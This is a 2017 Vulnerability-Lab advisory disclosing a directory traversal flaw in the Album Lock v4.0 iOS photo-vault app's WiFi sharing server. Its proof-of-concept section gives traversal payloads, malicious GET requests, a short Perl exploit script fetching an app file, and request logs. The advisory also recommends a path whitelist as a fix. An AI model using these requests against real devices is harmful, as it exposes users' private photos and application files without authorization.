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7.6 KiB
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Document Title:
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===============
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Album Lock v4.0 iOS - Directory Traversal Vulnerability
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References (Source):
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====================
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https://www.vulnerability-lab.com/get_content.php?id=2033
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Release Date:
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=============
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2017-02-20
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Vulnerability Laboratory ID (VL-ID):
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====================================
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2033
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Common Vulnerability Scoring System:
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====================================
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7.2
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Product & Service Introduction:
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===============================
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Do you have any secret photo and videos in your iPhone? Album Lock can protect your privacy perfectly. Album is the most
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convenient private Photo&Video App! You can add your SPECIAL photos&videos into AlbumLock, we provides many convenient ways.
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From Photo App(Camera Roll), iTunes File Sharing Sync, WiFi Transfer and in App Camera.
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(Copy of the Homepage: https://itunes.apple.com/us/app/album-lock-lock-secret-photo/id851608952 )
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Abstract Advisory Information:
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==============================
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The vulnerability laboratory core research team discovered a directory traversal web vulnerability in the official Album Lock v4.0 ios mobile application.
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Vulnerability Disclosure Timeline:
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==================================
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2017-02-20: Public Disclosure (Vulnerability Laboratory)
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Discovery Status:
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=================
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Published
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Affected Product(s):
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====================
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Exploitation Technique:
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=======================
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Remote
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Severity Level:
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===============
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High
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Technical Details & Description:
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================================
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A directory traversal web vulnerability has been dsicovered in the official Album Lock v4.0 iOS mobile web-application.
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The issue allows an attackers to unauthorized request and download local application files by manipulation of path parameters.
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The directory traversal web vulnerability is located in the `filePaht` parameter of the wifi web-server interface. Remote attackers
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are able to request the local web-server during the sharing process to access unauthenticated application files. Attackers are able
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to request via `getObject` image path variables to access or download files. Remote attackers are able to access the root `document`
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path of the application. The request method to execute is GET and the attack vector is located on the client-side of the web-server
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web-application. Finally an attacker is able to access with the credentials the service by using a client via http protocol.
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The security risk of the directory traversal vulnerability is estimated as high with a cvss (common vulnerability scoring system) count of 7.2.
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Exploitation of the web vulnerability requires no privilege web-application user account or user interaction. Successful exploitation of the
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vulnerability results in information leaking, mobile application compromise by unauthorized and unauthenticated access.
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Request Method(s):
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[+] GET
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Vulnerable Module(s):
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[+] getObject
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Vulnerable Parameter(s):
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[+] filePaht
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Affected Module(s):
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[+] Web-Server File System
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Proof of Concept (PoC):
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=======================
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The security vulnerability can be exploited by remote attackers without user interaction or privilege web-application user account.
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For security demonstration or to reproduce the vulnerability follow the provided information and steps below to continue.
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Standard Request:
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http://localhost:8880/getImage?filePaht=/var/mobile/Containers/Data/Application/FD29A0B7-9931-4A7F-A9AA-3942B539DC8C/Documents/._alias_images/fhhjjj/picture-00001.png
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PoC: Payload
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/var/mobile/Containers/Data/Application/FD29A0B7-9931-4A7F-A9AA-3942B539DC8C./../../../Application
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Malicious Request: Exploitation
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http://localhost:8880/getImage?filePaht=/var/mobile/Containers/Data/Application/FD29A0B7-9931-4A7F-A9AA-3942B539DC8C/Documents/
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http://localhost:8880/getImage?filePaht=/var/mobile/Containers/Data/Application/
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http://localhost:8880/getImage?filePaht=/var/mobile/
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PoC: Exploit
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use strict;
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use LWP::UserAgent;
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my $b = LWP::UserAgent->new();
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my $host = "1.1.1.1:5555";
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print $b->get("http://".$host."/getImage?filePaht=/var/mobile/Containers/Data/Application/FD29A0B7-9931-4A7F-A9AA-3942B539DC8C/config.dat")->content;
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--- PoC Session Logs [GET] ---
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Status: 200[OK]
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GET http://localhost:8880/getImage?filePaht=/var/mobile/Containers/Data/Application/FD29A0B7-9931-4A7F-A9AA-3942B539DC8C./../../../Application
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Mime Type[application/x-unknown-content-type]
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Request Header:
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Host[localhost:8880]
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User-Agent[Mozilla/5.0 (Windows NT 6.3; WOW64; rv:51.0) Gecko/20100101 Firefox/51.0]
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Accept[*/*]
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Accept-Language[de,en-US;q=0.7,en;q=0.3]
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Referer[http://localhost:8880/list_gif.html?folder=/var/mobile/Containers/Data/Application/FD29A0B7-9931-4A7F-A9AA-3942B539DC8C/]
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Connection[keep-alive]
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Response Header:
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Accept-Ranges[bytes]
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Reference(s):
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http://localhost:8880/
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http://localhost:8880/getImage
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http://localhost:8880/getImage?filePaht=
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http://localhost:8880/list_gif.html
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http://localhost:8880/list_gif.html?folder=
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Solution - Fix & Patch:
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=======================
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The vulnerability can be patch by disallowing the filepaht parameter to request upper local paths outside the document folder.
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Include a whitelist of allowed requested path and setup a secure exception to prevent on exploitation.
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Security Risk:
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==============
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The security risk of the directory traversal web vulnerability in the mobile application is estimated as high. (CVSS 7.2)
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Credits & Authors:
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==================
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Vulnerability Laboratory [Research Team] - Benjamin Kunz Mejri (http://www.vulnerability-lab.com/show.php?user=Benjamin%20K.M.)
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Disclaimer & Information:
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=========================
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The information provided in this advisory is provided as it is without any warranty. Vulnerability Lab disclaims all warranties, either expressed
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or implied, including the warranties of merchantability and capability for a particular purpose. Vulnerability-Lab or its suppliers are not liable
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in any case of damage, including direct, indirect, incidental, consequential loss of business profits or special damages, even if Vulnerability-Lab
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or its suppliers have been advised of the possibility of such damages. Some states do not allow the exclusion or limitation of liability mainly for
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consequential or incidental damages so the foregoing limitation may not apply. We do not approve or encourage anybody to break any licenses, policies,
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deface websites, hack into databases or trade with stolen data.
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Copyright © 2017 | Vulnerability Laboratory - [Evolution Security GmbH]™
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--
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VULNERABILITY LABORATORY - RESEARCH TEAM
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SERVICE: www.vulnerability-lab.com |